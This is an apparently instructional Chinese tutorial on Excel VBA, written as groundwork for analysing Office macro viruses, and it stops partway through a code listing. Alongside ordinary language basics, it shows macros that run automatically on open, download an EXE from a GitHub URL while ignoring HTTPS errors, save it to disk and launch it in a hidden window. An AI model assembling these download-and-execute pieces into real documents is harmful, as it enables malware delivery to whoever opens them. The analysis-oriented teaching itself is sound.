1、Office Macor

MS office宏的编程语言是Visual Basic For Applications(VBA)。

微软在1994年发行的Excel5.0版本中,即具备了VBA的宏功能。开发目的是为了在其桌面应用程序中执行通用的自动化任务,用于扩展Windows的应用程序功能。在分析带有宏病毒的样本前,我们需要对VBA有所了解。才能更顺畅地了解病毒发展中的手段和变化。

2、VBA代码阅读扫盲

(1) 环境介绍

  • 打开Excel的开发者工具

当用户希望使用宏功能时,可在“开发工具”选项卡下选择相应命令。在默认情况下,功能区中不显示“开发工具”选项卡,需要用户进行自行设置。

图1

  • 保存带宏测试文件

微软为了使用MSOffice用户免遭病毒和危险宏代码的危害,规定不能将宏代码保存在使用标准文件扩展名的标准 Office 文档中。

必须将代码保存在特殊扩展名的文件中。例如不能将宏保存在扩展名为 .docx 的标准 Word 文档中;而是必须使用扩展名为 .docm 且启用了宏的特殊 Word 文档。而Excel则是另存为.xlsm格式。

(2) 宏脚本运行入口点

让Excel工作簿中宏自动运行的两种方法。

方法1:

1、启动Excel并打开包含宏的工作表,在“开发工具”选项卡的“代码”组中单击“宏”按钮打开“宏”对话框。



图2

创建宏名为"Auto_Open"可以实现自动打开的功能。



图3

点击“Visual Basic”按钮就可以编辑对应的宏代码。

会弹出"Hello World”框的示例代码:

方法1:测试代码

01-Auto_Open()_启用宏.xlsm

  1. //自启动函数1
  2. Sub Auto_Open()
  3. MsgBox ("Hello World")
  4. End Sub

方法2:

点击Visual Basic按钮,点击在工程窗口里的ThisWorkbook。选择workbook(对象)

图4

保存该文档为".xlsm",当再次打开该文档时,宏将自动运行。

在分析病毒的时候,发现Workbook_Open(),Workbook_Activate()都会触发宏的运行。

方法2:测试代码

02-Workbook_Open()_启用宏.xlsm

  1. Private Sub Workbook_Open()
  2. MsgBox ("Hello World ! z")
  3. End Sub

小结:

Auto_Open过程是一个特殊的自定义Sub过程,其包含的代码可以在工作簿打开时自动执行,宏过程写入其中当然也将被自动调用执行。Worksheet对象的Activate事件是在工作表被激活时触发,在该事件代码中调用宏过程将使工作表被激活时宏被启用。

(3) 代码调试

通过录制宏的操作,得到如何对表格赋值的方法。

A1是所选择的表格与列,ActiveCell.FormulaR1C1是进行赋值。

  1. Range("A1").Select '表格选择
  2. ActiveCell.FormulaR1C1 = "1" '赋值

在开启之前首先要开启编译器的窗口。

  • 立即窗口:执行单行的语句或显示Debug.Pring所打印的表达式的值。

  • 本地窗口:显示当前运行的过程中所包含的变量的值。

  • 监视窗口:显示被监视的指定表达式的值。

图5

(4) 变量

声明 变量时,通常使用 Dim 语句。可以在过程中添加声明语句以创建 过程级别变量,也可以将其放置在 模块顶部的声明部分,以创建 模块级别变量。

下面的示例创建变量并指定 字符串数据类型。

strName 是变量的名称,type是变量的类型

  1. Dim strName As type

数据类型分类及表示形式:

(1) 数值型

Byte 、Integer 、Long 、Single 、Double

(2) 字符型

String (可变长度字符串)、String *** length (固定长度字符串)

(3) 日期型

Date

(4) 逻辑型

Boolean

(5) 对象型

Object 或 Variant 。如果未指定数据类型,则默认分配 Variant 数据类型。还可以使用 Type 语句创建 用户定义的类型。

声明的表示形式如下:

  1. Dim sPara As sType
  2. Dim para1, para2, para3
  3. Dim para4 As workbook, para5 As String

用Dim语句创建变量(声明变量) 示例:

  1. Sub 变量定义()
  2. '
  3. ' 变量定义
  4. '
  5. '变量定义
  6. Dim strA As String
  7. '变量赋值
  8. strA = "Hello World"
  9. Debug.Print strA
  10. End Sub

VBA常用的数据类型定义里参数type是可省略的。对于VBA熟悉的开发者会省略AS采用变量标识符来声明变量类型,遇到这样的代码很容易使分析人员产生疑惑。

图6

类型标识符示例代码:

  1. Sub 类型标识符()
  2. '类型标识符
  3. Dim strC$
  4. strC = "WS发育法"
  5. Debug.Print strC
  6. End Sub

全局变量

在VBA中,通过Public关键字语句定义全局变量,供多个程序调用。


  1. '声明全局变量
  2. Public strA As String
  3. Sub 过程1()
  4. ' 变量声明
  5. Dim strB As String
  6. ' 变量赋值
  7. strA = "Hello"
  8. strB = "World!"
  9. End Sub
  10. Sub 过程2()
  11. ' 输出变量
  12. Debug.Print "StrA为" & strA
  13. Debug.Print "StrB为" & strB
  14. End Sub
  15. Sub 过程()
  16. ' 调用函数
  17. Call 过程1
  18. Call 过程2
  19. End Sub

输出结果:

  1. StrAHello
  2. StrB

模块级变量

还有一种特殊的模块级变量,定义在所有的过程之外,也以Dim进行变量声明。这类变量的作用域是其所在的模块,在这个模块内的任何过程均可调用该变量,但是其他模块不可以调用它。

通过调用两个模块的代码进行验证过程如下:

模块:模块级变量03_01代码:

  1. '声明局部变量
  2. Dim strC As String
  3. Sub 过程3()
  4. '变量赋值
  5. strC = "Hello"
  6. End Sub
  7. Sub 过程4()
  8. '变量赋值
  9. Debug.Print "StrC为" & strC
  10. End Sub

插入->模块,再输入以下代码:

查看模块间函数调用,变量的变化。

模块:模块级变量03_02

  1. Sub 过程5()
  2. '变量赋值
  3. Debug.Print "StrC为" & strC
  4. End Sub
  5. Sub 过程6()
  6. Call 过程3
  7. Call 过程4
  8. Call 过程5
  9. End Sub

输出结果:

  1. StrCHello
  2. StrC

作用域的理解至关重要,简单区分作用域的方法只需要判定变量声明是在哪里,如果在过程内,则作用域为该过程,如果在过程外,以Public声明的变量为全局变量,以Dim或Private声明的变量为模块级变量。

(5) 运算符

VBA除了常规的四则运算外,还能够进行文本连接,比较运算。

其中为了生成的数据更明朗,就用了回车换行。

'chr(10) 可以生成换行符

'chr(13) 可以生成回车符

  1. Sub VBA常用运算()
  2. '文本连接 F5运行
  3. Debug.Print """Excel"" & ""WS"" = "; "Excel" & "Virus" & Chr(13) & Chr(10)
  4. '算数四则运算
  5. Debug.Print " 1 + 2 * 3 - 4 / 2 = "; 1 + 2 * 3 - 4 / 2 & Chr(13) & Chr(10)
  6. '整除
  7. Debug.Print "13 \ 5 = "; 13 \ 5 & Chr(13) & Chr(10)
  8. '计算余数
  9. Debug.Print "13 Mod 5 = "; 13 Mod 5 & Chr(13) & Chr(10)
  10. '比较运算
  11. Debug.Print "13 > 5 = "; 13 > 5 & Chr(13) & Chr(10)
  12. Debug.Print "13 < 5 = "; 13 < 5 & Chr(13) & Chr(10)
  13. Debug.Print "13 <> 5 = "; 13 <> 5 & Chr(13) & Chr(10)
  14. End Sub

文本连接

在VBA中,允许将多个文本通过文本连接符(&)进行连接并组合成新的本文,其基本语法为

EXP1&EXP2&EXP3

加号(+)同样可以用于文本的连接,其运算语法与文本连接符(&)一致,而加号同样可以用作算数运算。

算数四则运算

算数四则运算符包括加(+)、减(-)、乘(*)、除(/)。

(6) 逻辑运算符

在IF判断中遇到多条件的判断,判断是否同时满足两个条件的情形,会用到逻辑运算符。常见的为And、Or、Not

表达式 逻辑运算符 表达式

(7) IF分支选择结构

典型的分支结构,最常用的就是IF...Then...Else结构,语法为:

  1. If 表达式
  2. Then
  3. 声明
  4. Else
  5. 声明

或者

  1. If 表达式 Then
  2. 声明
  3. ElseIf 表达式 Then
  4. 声明
  5. Else
  6. 声明
  7. End If

表达式是逻辑判断表达式,可以是比较,也可以是由逻辑运算符连接的表达式。

单一型IF分支结构代码如下:


  1. Sub IF分支1()
  2. '变量声明
  3. Dim NumA As Long '密码值
  4. Dim NumB As Long '数值2
  5. NumA = 5
  6. NumB = 6
  7. If NumA > NumB Then
  8. Debug.Print "NumA " & NumA
  9. End If
  10. End Sub

复杂型If分支结构如下:

  1. Sub IF分支2()
  2. '变量声明
  3. Dim passwd As Long '密码值
  4. Dim input_Code As Long '数值2
  5. passwd = 123456
  6. '两数相加
  7. 'Range("A2").Select
  8. 'ActiveCell.FormulaR1C1 = "1"
  9. input_Code = Range("A2")
  10. If input_Code < passwd Then
  11. Range("A6").Select '选择表格A6
  12. ActiveCell.FormulaR1C1 = "结果小了" '赋值
  13. ElseIf input_Code > passwd Then
  14. Range("A6").Select
  15. ActiveCell.FormulaR1C1 = "结果大了"
  16. ElseIf input_Code = passwd Then
  17. Range("A6").Select
  18. ActiveCell.FormulaR1C1 = "结果正确"
  19. End If
  20. ' 结果输出
  21. Debug.Print "正确数字为 " & passwd
  22. End Sub

如果满足条件时所需要执行的语句。

图7

(8) Select...Case分支选择结构

Select...Case是VBA中分支结构,当对同一个表达式的值进行多次不同的判断,并根据判断需要进行不同的程序操作时候用到。

语法结构:

  1. Select Case 表达式
  2. Case 表达式
  3. Case 表达式
  4. End Select

不同Case中的表达是表达式的测试值。

示例代码:

  1. Sub Select_Case()
  2. '变量声明
  3. Dim NumA As Integer
  4. NumA = 100
  5. Select Case NumA
  6. Case 90 To 100
  7. Debug.Print "优秀"
  8. Case 70 To 90
  9. Debug.Print "良"
  10. Case 60 To 70
  11. Debug.Print "及格"
  12. Case Else
  13. Debug.Print "不及格"
  14. End Select
  15. End Sub

输出结果:

  1. 优秀

在许多情况下,Select和If分支结构可以互相转换,但两者也有比较大的区别,Select分支结构只能对同一个表达式的值进行分支判断,而If却不受该限制。

(9) 循环结构

Do...Loop循环

  1. Do While 表达式
  2. 声明
  3. Loop

使用Do..Loop循环判断质数示例:

  1. Sub DoWhile循环()
  2. '变量声明
  3. Dim Num As Long
  4. Dim i As Long
  5. '变量赋值
  6. Num = 13
  7. i = 2
  8. '计算及结果输出
  9. Do While Num Mod i <> 0 '2整除不是质数
  10. i = i + 1
  11. If i >= 10 Then ' 如果大于10,退出循环演示
  12. Exit Do '终止循环'
  13. End If
  14. Loop
  15. If i = Num Then
  16. Debug.Print Num; "是质数"
  17. Else
  18. Debug.Print Num; "不是质数"
  19. End If
  20. End Sub

输出结果:

  1. 13 不是质数

For...Next循环

对于已知起始值和终止值的循环语句,往往用For...Next结构实现,其语法为:

  1. For 计数器 = 起始值 To 终止值 Step 递增值
  2. 处理
  3. Mext

使用For...Next循环判断质数示例:

  1. Sub For_Next循环()
  2. '变量声明
  3. Dim Num As Long
  4. Dim i As Long
  5. '变量赋值
  6. Num = 13
  7. '计算
  8. For i = 2 To Num - 1 Step 1
  9. If Num Mod i = 0 Then
  10. If i >= 10 Then ' 如果大于10,退出循环
  11. Exit For '退出循环的方式
  12. End If
  13. End If
  14. Next i
  15. '结果输出
  16. If i = Num Then
  17. Debug.Print Num; "是质数"
  18. Else
  19. Debug.Print Num; "不是质数"
  20. End If
  21. End Sub

输出结果:

  1. 13 是质数

在For...Next循环中,需要一个计数器,并为其设置初始值,以及终止值和步长。进入循环后,计数器等于初始值,当执行完Next语句后,计数器将会加上步长(即计数器=计数器+步长),然后再次进入For语句。VBA将判断计数器是否仍然出于初始值和终止值之间。如果仍在它们之间则继续循环,直到计数器的值超出初始值和终止值所包含的范围。

与退出Do..Loop循环类似,可以利用Exit For循环语句退出当前的For循环。

For_Each_In循环

VBA也有类似Python中遍历数值的循环方法。

For Each...Next循环可以用来访问某个集合中所有的元素,其语法格式为

  1. For Each 元素 In
  2. 处理
  3. [Exit For]
  4. Next 元素

元素为变量,组表示某个集合。组可以表示的集合可以是单元格区域、工作表集合、工作簿集合、数组集合等。

  1. Sub For_each_in循环()
  2. Sheets("Sheet1").Select
  3. Dim r As Range
  4. For Each r In Range("A1:A10")
  5. Debug.Print r.Value;
  6. If r.Value = 1 Then '如果值为1就修改为 666666
  7. r.Value = 666666
  8. End If
  9. Next
  10. End Sub

输出结果:

图8

(10) 数组表达

数组表示一组数据的集合,在VBA中,允许将多个类型相同或者不相同的数据组合成一个集合,然后用其下标访问其每个元素。

一维数组表示方式如下:

  1. Array(index)

该表达式表示数组中的一个元素。其中Array表示一个数组变量,Index为其下标。数组的下表可以为正数、负数或者0,但是必须为整数。

数组可以具有多个下标,该数组即为多维数组。多维数组的元素使用以下表达式表示:

  1. Array(index1,index2[[,index3],...,index])

其中,index1至indexs表示不同维度的数组下标,在VBA中,数组的维度最多不超过60。

数组声明

按数组元素个数是否固定可以分为固定大小的数组和动态数组。固定大小的数组的维度以及各个维度的大小是固定的。

  1. Dim ArrayName(LB1 To UB1)

ArrayName 表示数组变量的名称,LBn和UBn分别表示不同维度上的数组的下限和上限。不同维度上的LB及UB可以各不相同。

Ubound和Lbound函数获取数组的上下限

Ubound和Lbound函数分别获取已定义大小的数组在不同维度的上限和下限。

一维数组示例代码:

  1. Sub 数组示例00()
  2. Sheets("Sheet2").Select
  3. Dim Arr(3)
  4. Arr(1) = 1
  5. Arr(2) = 2
  6. Arr(3) = 3
  7. For Index = 0 To UBound(Arr)
  8. Debug.Print Arr(Index)
  9. Next
  10. End Sub

输出结果:

  1. 1
  2. 2
  3. 3

多维数组示例代码:

  1. Sub 数组示例01()
  2. Sheets("Sheet2").Select
  3. Dim Arr() '声明数组
  4. Arr = Range("A1").CurrentRegion.Value '返回活动单元格所在的周围由空行和空列组成的单元格区域
  5. For RowN = 2 To UBound(Arr) '返回指定数组维数的最大下标。
  6. Debug.Print "当前单元格数据:" & Arr(RowN, 1)
  7. Next
  8. End Sub

输出结果

图9

多维数组统计项目示例代码:

  1. Sub 数组进行统计()
  2. '变量声明
  3. Dim Arr() '声明数组
  4. Dim RowN As Long '数组中的行号
  5. Dim TotalQTY As Long '合计数量
  6. Dim TotalAmount As Long '合计金额
  7. Dim sType As String '姓名
  8. '获取报告数量
  9. sType = Range("F2").Value
  10. '合计数清0
  11. TotalQTY = 0
  12. TotalAmount = 0
  13. '将数据读入数组中
  14. Arr = Range("A1").CurrentRegion.Value '返回活动单元格所在的周围由空行和空列组成的单元格区域
  15. '遍历数组中的每条记录,第1个维度
  16. For RowN = 2 To UBound(Arr) '返回指定数组维数的最大下标。
  17. '若规格型号相符
  18. If Arr(RowN, 1) = sType Then
  19. '累加数量和金额
  20. TotalQTY = TotalQTY + Arr(RowN, 2) '报告数量
  21. TotalAmount = TotalAmount + Arr(RowN, 3) '项目金额
  22. End If
  23. Next
  24. '结果输出
  25. Range("G2").Value = TotalQTY
  26. Range("H2").Value = TotalAmount
  27. End Sub

输出结果

图10

(11) 字符串操作

常用函数说明

Hex与Hex2Dec函数

利用Hex函数可以将十进制数转换为十六进制数,Hex2Dec函数可以将十六进制数转换为十进制数。

  1. Hex(number) 其中参数number为十进制数
  2. HEX2DEC(参数) 十六进制转换为十进制

通过这样的内置函数可以把某些字符转换为进制编码,然后在内部执行时再转换回来。

示例代码:

  1. Sub 转换进制_1()
  2. Sheets("Sheet3").Select '指定表
  3. ' 变量声明
  4. Dim RowN As Long
  5. '开始循环遍历
  6. For RowN = 2 To Cells(Rows.Count, "A").End(xlUp).Row '选定包含单元格A区域中A列顶端的单元格,此部分从第2列开始。
  7. '使用VBA函数转换为十六进制数
  8. Cells(RowN, "B").Value = "'" & CStr(Hex(Cells(RowN, "A").Value)) '选定包含单元格B区域中B列顶端的单元格。
  9. '使用工作表函数转换为十进制
  10. Cells(RowN, "C").Value = _
  11. WorksheetFunction.Hex2Dec(Cells(RowN, "B").Value) '选定包含单元格B区域中B列顶端的单元格。
  12. Next RowN
  13. End Sub

输出结果:

图11

在早些时候,很多利用ACCESS或是SQL Server数据库的SQL注入手段通过内置的函数将原有的词义分割绕过WAF,与在Offcice系列中的宏病毒手法异曲同工。

示例代码:

字符转十六进制,十六进制转字符


  1. Sub 转换进制2_原型()
  2. Sheets("Sheet4").Select '指定表
  3. ' 变量声明
  4. Dim RowA$, RowB$, str$
  5. Dim strA$, strB$
  6. '开始循环遍历
  7. str = "MZ"
  8. RowA = Hex(AscW(Left(str, 1))) '选取最左边第一个字符
  9. RowB = Hex(AscW(Right(str, 1))) '选取最右边第一个字符
  10. Debug.Print RowA + RowB
  11. '开始循环遍历
  12. strA = Chr(WorksheetFunction.Hex2Dec(RowA)) '十六进制转换为十进制,十进制转字符
  13. strB = Chr(WorksheetFunction.Hex2Dec(RowB)) '十六进制转换为十进制,十进制转字符
  14. Debug.Print "I am PE First Two char: "; strA + strB
  15. '有条件性进行演示一句话木马免杀原理。
  16. End Sub

输出成果:

  1. 4D5A
  2. I am PE First Two char: MZ

文本函数

VBA处理文本的函数和语句,其中包括Instr函数、Replace函数、Left函数、Right函数、MID函数。

  • Instr函数
  1. InStr(开始位置,字符串1,字符串2,[模式选择:二进制比较,文本比较])

参数开始位置,表示查找的起始未知,该参数可以省略

参数字符串1,表示被搜索的文本(字符串),即在哪里查找

参数字符串2,表示需要查找的

可选参数为字符串的比较方式,当参数省略时候,就用Option Conpare语句指定的比较方式。

筛选包含字符的记录示例代码:

  1. Sub 筛选包含某字符的记录()
  2. '变量声明
  3. Dim RowN As Long
  4. Sheets("Sheet2").Select '选择第二张表
  5. ' 显示所有记录
  6. Cells.Rows.Hidden = False
  7. '循环遍历每一行
  8. For RowN = 2 To Cells(Rows.Count, "A").End(xlUp).Row
  9. '判断是否含有“上海”
  10. If InStr(1, Cells(RowN, "B").Value, "上海") = 0 Then
  11. '若不含有,则隐藏
  12. Rows(RowN).Hidden = True
  13. End If
  14. Next
  15. End Sub

输出成果:

图12

Instr函数在字符串中查找字符的顺序是从左到右,还有个与它类似的函数InstrRev函数方向顺序是以右到左。

Replace函数

替换文本中的指定文本

示例代码:

  1. Sub Replace函数()
  2. Dim txt, strA
  3. txt = "Hello World !"
  4. Debug.Print txt '输出原有的结果
  5. strA = Replace(txt, "World", "World ! Your Are Hacker!") 'World替换为World ! Your Are Hacker!
  6. Debug.Print strA
  7. End Sub

输出结果

  1. Hello World !
  2. Hello World ! Your Are Hacker! !

Split函数

Split函数可以将一个文本以特定的分隔符号拆分为一个以0为下限的一维数组,并返回该数组。

  1. Split(表达式,拆分符号)

参数表达式的位置为一个文本表达式,表示需要被拆分的文本。

参数拆分符号的位置表示作为分隔符文本表达式。

示例代码:

  1. Sub 文本函数_Split函数_04()
  2. Sheets("Sheet1").Select
  3. Dim Arr() '声明数组
  4. Dim str '存放字符串的位置
  5. Dim i As Integer
  6. Arr = Range("B1").CurrentRegion.Value '返回活动单元格所在的周围由空行和空列组成的单元格区域
  7. For RowN = 2 To UBound(Arr) '返回指定数组维数的最大下标。
  8. Debug.Print "当前单元格数据:" & Arr(RowN, 2)
  9. str = Split(Arr(RowN, 2), ",") '分割函数,以,为分割符号
  10. Range("A13:A50").ClearContents '清空整列内容
  11. For i = 0 To UBound(str)
  12. 'Debug.Print str(i)
  13. '分隔出来的IP批量输出
  14. Cells(13 + i, 1).Select
  15. Cells(13 + i, 1).Value = str(i)
  16. Next
  17. Next
  18. End Sub

输出成果:

图13

(12) 文件读写

文件遍历

  • Dir函数

Dir函数用以查找指定路径的文件是否存在,若存在,则返回该文件的文件名,若不存在,则返回空字符(“”)。

  1. Sub 创建文件清单()
  2. Sheets("Sheet1").Select
  3. Sheet1.Range("A4:A200").ClearContents
  4. '变量声明
  5. Dim sPath As String ' 文件路径
  6. Dim sFileName As String ' 文件名
  7. Dim LRowN As Long ' 结果输出的行号
  8. ' 获取文件路径,并加入路径分隔符
  9. 'sPath = Cells(2, 1).Value & Application.PathSeparator '获取自定义文件路径 & 添加一个\
  10. ' 返回当前工作簿的路径
  11. ' sPath = ThisWorkbook.Path & Application.PathSeparator
  12. ' 返回当前默认文件路径:
  13. ' sPath = Application.DefaultFilePath
  14. '
  15. ' '只返回路径
  16. sPath = Application.ActiveWorkbook.Path & Application.PathSeparator
  17. '
  18. ' '返回路径及工作簿文件名
  19. ' sPath = Application.ActiveWorkbook.FullName
  20. '
  21. ' '工作簿文件名
  22. ' sPath = Application.ActiveWorkbook.Name&
  23. ' 设定起始行号为4
  24. LRowN = 4
  25. '查找文件
  26. sFileName = Dir(sPath & "*", vbDirectory)
  27. '当文件被找到时,不断循环
  28. Do While sFileName <> ""
  29. '输出文件名
  30. Cells(LRowN, 1).Value = sFileName
  31. '查找下一个
  32. sFileName = Dir
  33. ' 结果输出行号增加1
  34. LRowN = LRowN + 1
  35. Loop
  36. End Sub

输出结果:

文件属性

  • GetAtt函数
  1. GetAttr(pathname)

其中参数pathname为文件或文件夹的完整路径,返回值为文件的属性,具体如下表:

  • SetAttr函数
  1. SetAttr pathname,attributes

其中参数pathname为文件的完整路径。参数attrbutes表示修改后的文件属性。

示例代码:

  1. Sub 文件属性02()
  2. ' 获取文件属性
  3. StrAttr = GetAttr("C:\Users\AT\Desktop\课程附件\01-Auto_Open()_启用宏.xlsm")
  4. If StrAttr = 0 Then
  5. Debug.Print "无属性文件"
  6. ElseIf StrAttr = 16 Then
  7. Debug.Print "文件夹"
  8. ElseIf StrAttr = 2 Then
  9. Debug.Print "隐藏文件"
  10. End If
  11. ' 设置文件属性
  12. SetAttr "C:\Users\AT\Desktop\课程附件\01-Auto_Open()_启用宏.xlsm", vbHidden
  13. End Sub
  • FileCopy函数

FileCopy语句可以复制文件并重新命名,其语法为:

  1. FileCopy source,destnation

其中,参数source为源文件的完整路径,包括文件路径和文件名。

参数destination为目标文件的完整路径,包括文件路径和文件名。

示例代码:

  1. Sub 操作文件_复制文件03()
  2. '容错代码
  3. On Error Resume Next
  4. '变量声明
  5. Dim sPathOld As String ' 源文件夹路径
  6. Dim sPathNew As String ' 目标文件夹名字
  7. Dim sFileNameOld As String '旧文件名
  8. Dim sFileNameNew As String '新文件名
  9. '获取源文件夹路径
  10. sPathOld = ThisWorkbook.Path & "\"
  11. sPathNew = ThisWorkbook.Path & "\FileCopy_test\"
  12. '获取目标文件夹路径下有没有test目录
  13. If Dir(sPathNew, 16) = Empty Then
  14. '如果没有就创建文件夹
  15. VBA.MkDir (sPathNew)
  16. End If
  17. '查找源文件夹中的文件
  18. sFileNameOld = Dir(sPathOld & "*")
  19. '当查找结果存在时不断循环
  20. Do While sFileNameOld <> ""
  21. '设定新文件名
  22. sFileNameNew = sFileNameOld & ".Bak"
  23. ' 复制文件名并改名
  24. FileCopy sPathOld & sFileNameOld, sPathNew & sFileNameNew
  25. '查找下一个文件
  26. sFileNameOld = Dir
  27. Loop
  28. End Sub

输出结果:

图14

3、常用对象

VBS本身是无法执行命令的,只有通过创建对象的方式调用组件才可以执行命令。

  • CreateObject 函数

创建并返回对ActiveX 对象的引用。

语法如下:

  1. CreateObject (类、 [服务器名称])
  2. Dim ExcelSheet As Object
  3. Set ExcelSheet = CreateObject("Object")

CreateObject函数创建的是COM对象,第一个参数是COM对象的ProgID。

查看示例程序【13-CreatObject().xlsm】-01,可以遍历出在操作系统中我们可以使用的对象。

常用的对象如下:

  1. ADODB.Stream
  2. Msxml2.XMLHTTP
  3. Shell.Application
  4. Scripting.FileSystemObject
  5. WScript.Shell
  6. InternetExplorer.Application

(1) ADODB.Stream 对象

常用方法

    • Mode

打开模式

  1. 属性 为打开模式 1.只读 2.只写 3.读写
    • Type

Type 指定或返回的数据类型,可选参数为:

  1. adTypeBinary = 1 二进制形式打开
  2. adTypeText = 2 文本形式打开
    • Open

打开对象

参数说明:Sourece 对象源,可不指定参数


  1. Object.Open(Source,[Mode],[Options],[UserName],[Password])
    • Write

说明:将指定的数据装入对象中。


  1. Object.Write(Buffer)
    • WriteText

说明:将指定的文本数据装入对像中。

参数说明:Data 为指定的要写入的内容。

使用方法如下:


  1. Object.Write(Data,[Options])
    • SaveToFile

说明:将对像的内容写到FileName指定的文件中

参数说明:FileName指定的文件


  1. Object.SaveToFile(FileName,[Options])

Options 存取的选项,可不指定,可选参数如下:

adSaveCreateNotExist =1

adSaveCreateOverWrite =2

示例代码:

ADODB_Stream对象02

  1. Sub ADODB_Stream对象()
  2. 'adTypeBinary = 1 二进制形式打开
  3. 'adTypeText = 2 文本形式打开
  4. Const adTypeBinary = 2
  5. '属性 为打开模式 1.只读 2.只写 3.读写
  6. Const adSaveCreateOverwrite = 2
  7. Const adModeReadWrite = 3
  8. contents = "I am Nobaddy" ' 保存的文本
  9. Set oStr = CreateObject("ADODB.Stream") ' 创建对象
  10. oStr.Mode = adModeReadWrite ' 指定打开模式
  11. oStr.Type = adTypeBinary ' 打开类型
  12. oStr.Open ' 打开文件
  13. oStr.WriteText contents ' 保存文件的方式 WriteText 或者 Write
  14. oStr.SaveToFile ThisWorkbook.Path & "\ADODB_Stream_Test.txt", adSaveCreateOverwrite
  15. End Sub

(2) Msxml2.XMLHTTP 对象

XMLHTTP是个传送XML格式数据的超文本传输协议。

它上传的指令可以是XML格式数据,也可以是字符串,流,或者一个无符号整数数组。还可以是URL的参数。

    • Open

以什么方式打开网页

  1. open(bstrMethod, bstrUrl, varAsync, bstrUser, bstrPassword)
  2. bstrMethod 数据传送方式,即GETPOST。用"POST"方式发送数据,可以大到4MB,也可以换为"GET",只能256KB
  3. bstrUrl 服务网页的URL
  4. varAsync 是否同步执行。缺省为True,即同步执行,但只能在DOM中实施同步执行。用中一般将其置为False,即异步执行。
  5. bstrUser 用户名,可省略。
  6. bstrPassword:用户口令,可省略。
    • Send

varBody:指令集。可以是XML格式数据,也可以是字符串,流,或者一个无符号整数数组。也可以省略,让指令通过Open方法的URL参数代入。发送数据的方式分为同步和异步两种。在异步方式下,数据包一旦发送完毕,就结束Send进程,客户机执行的操作;而在同步方式下,客户机要等到服务器返回确认消息后才结束Send进程。

    • 返回内容
  1. readyState
  2. XMLHTTP对象中的readyState属性能够反映出服务器在处理请求时的进展状况。客户机的程序可以根据这个状态信息设置相应的事件处理方法。属性值及其含义如下表所示:
  3. 说明
  4. 0 Response对象已经创建,但XML文档上载过程尚未结束
  5. 1 XML文档已经装载完毕
  6. 2 XML文档已经装载完毕,正在处理中
  7. 3 部分XML文档已经解析
  8. 4 文档已经解析完毕,客户端可以接受返回消息
  9. responseBody
  10. Variant 结果返回为无符号整数数组
  11. responseStream
  12. Variant 结果返回为IStream
  13. responseText
  14. string 结果返回为字符串。
  15. responseXML
  16. object 结果返回为XML格式数据。

Msxml2.XMLHTTP 和 Microsoft.XMLHTTP 都好用,当遇到HTTPS的情况需要特殊处理。

从HTTPS网站下载EXE方法如下:

  1. 方法1:添加一个http.SetOption 2,13056 忽略https错误,注意写入权限
  2. 方法2:使用WinHttp.WinHttpRequest.5.1对象
  3. 方法3:使用Msxml2.ServerXMLHTTP.6.0

示例代码:

模块:XMLHTTP对象03

  1. Sub XMLHTTP对象03_01()
  2. myURL = "file://C:\Windows\System32\calc.exe"
  3. Set Post = CreateObject("Microsoft.XMLHTTP") '建立XMLHTTP对象
  4. Post.Open "GET", myURL, 0 '打开方法
  5. Post.Send '发送
  6. Set aGet = CreateObject("ADODB.Stream")
  7. aGet.Mode = 3
  8. aGet.Type = 1
  9. aGet.Open
  10. aGet.Write (Post.responseBody) '把获取到的内容保存到本地
  11. aGet.SaveToFile ThisWorkbook.Path & "\XMLHTTP_calc.exe", 2
  12. End Sub
  13. Sub XMLHTTP对象03_02()
  14. myURL = "file://C:\Windows\System32\calc.exe"
  15. Set Post = CreateObject("Msxml2.XMLHTTP")
  16. Post.Open "GET", myURL, 0
  17. Post.Send
  18. Set aGet = CreateObject("ADODB.Stream")
  19. aGet.Mode = 3
  20. aGet.Type = 1
  21. aGet.Open
  22. aGet.Write (Post.responseBody)
  23. aGet.SaveToFile ThisWorkbook.Path & "\XMLHTTP_calc.exe", 2
  24. End Sub
  25. '下载https的方法1
  26. '加一个http.SetOption 2,13056 忽略https错误,注意写入权限
  27. Sub XMLHTTP对象03_03()
  28. Const adTypeBinary = 1
  29. Const adSaveCreateOverWrite = 2
  30. Dim http, ado
  31. Set http = CreateObject("Msxml2.serverXMLHTTP")
  32. http.SetOption 2, 13056 '忽略HTTPS的错误
  33. http.Open "GET", "https://github.com/3gstudent/test/raw/master/putty.exe", False
  34. http.Send
  35. Set ado = CreateObject("Adodb.Stream")
  36. ado.Type = adTypeBinary
  37. ado.Open
  38. ado.Write http.responseBody
  39. ado.SaveToFile ThisWorkbook.Path & "\XMLHTTP_calc.exe", 2
  40. ado.Close
  41. End Sub
  42. '下载https的方法2
  43. '使用WinHttp.WinHttpRequest.5.1
  44. Sub XMLHTTP对象03_04()
  45. Const adTypeBinary = 1
  46. Const adSaveCreateOverWrite = 2
  47. Dim http, ado
  48. Set http = CreateObject("WinHttp.WinHttpRequest.5.1") '调用WinHttp.WinHttpRequest.5.1 '
  49. http.Open "GET", "https://github.com/3gstudent/test/raw/master/putty.exe", False
  50. http.Send
  51. Set ado = CreateObject("Adodb.Stream")
  52. ado.Type = adTypeBinary
  53. ado.Open
  54. ado.Write http.responseBody
  55. ado.SaveToFile ThisWorkbook.Path & "\XMLHTTP_calc.exe", 2
  56. ado.Close
  57. End Sub
  58. '下载https的方法3
  59. '使用Msxml2.ServerXMLHTTP.6.0
  60. Sub XMLHTTP对象03_05()
  61. Const adTypeBinary = 1
  62. Const adSaveCreateOverWrite = 2
  63. Dim http, ado
  64. Set http = CreateObject("Msxml2.ServerXMLHTTP.6.0") '调用Msxml2.ServerXMLHTTP.6.0 '
  65. http.Open "GET", "https://github.com/3gstudent/test/raw/master/putty.exe", False
  66. http.Send
  67. Set ado = CreateObject("Adodb.Stream")
  68. ado.Type = adTypeBinary
  69. ado.Open
  70. ado.Write http.responseBody
  71. ado.SaveToFile ThisWorkbook.Path & "\XMLHTTP_calc.exe", 2
  72. ado.Close
  73. End Sub

(3) 执行命令对象与函数

    • Shell函数

执行一个程序。

参数说明:

  • vbHide 0 :隐藏窗口并将焦点传递给隐藏的窗口
  1. Shell "程序路径",0
  2. Shell ThisWorkbook.Path & "\XMLHTTP_calc.exe", 0 ' Shell函数
    • Shell.Application对象

参数说明:

  • NameSpace() 返回指定文件夹的Folder类目标
  • Items() 返回FolderItems目标
  • Item() 获取FolderItems目标的某个值的索引
  • InvokeVerb 打开目标(运行程序)
  • Open 打开程序
  • Verbs 得到FolderItemVerbs类目标
  • FileRun 运行程序

示例代码:

  1. Sub shell_application对象04()
  2. Set objShellApp = CreateObject("Shell.Application")
  3. Set objFolder = objShellApp.Namespace(ThisWorkbook.Path & "\")
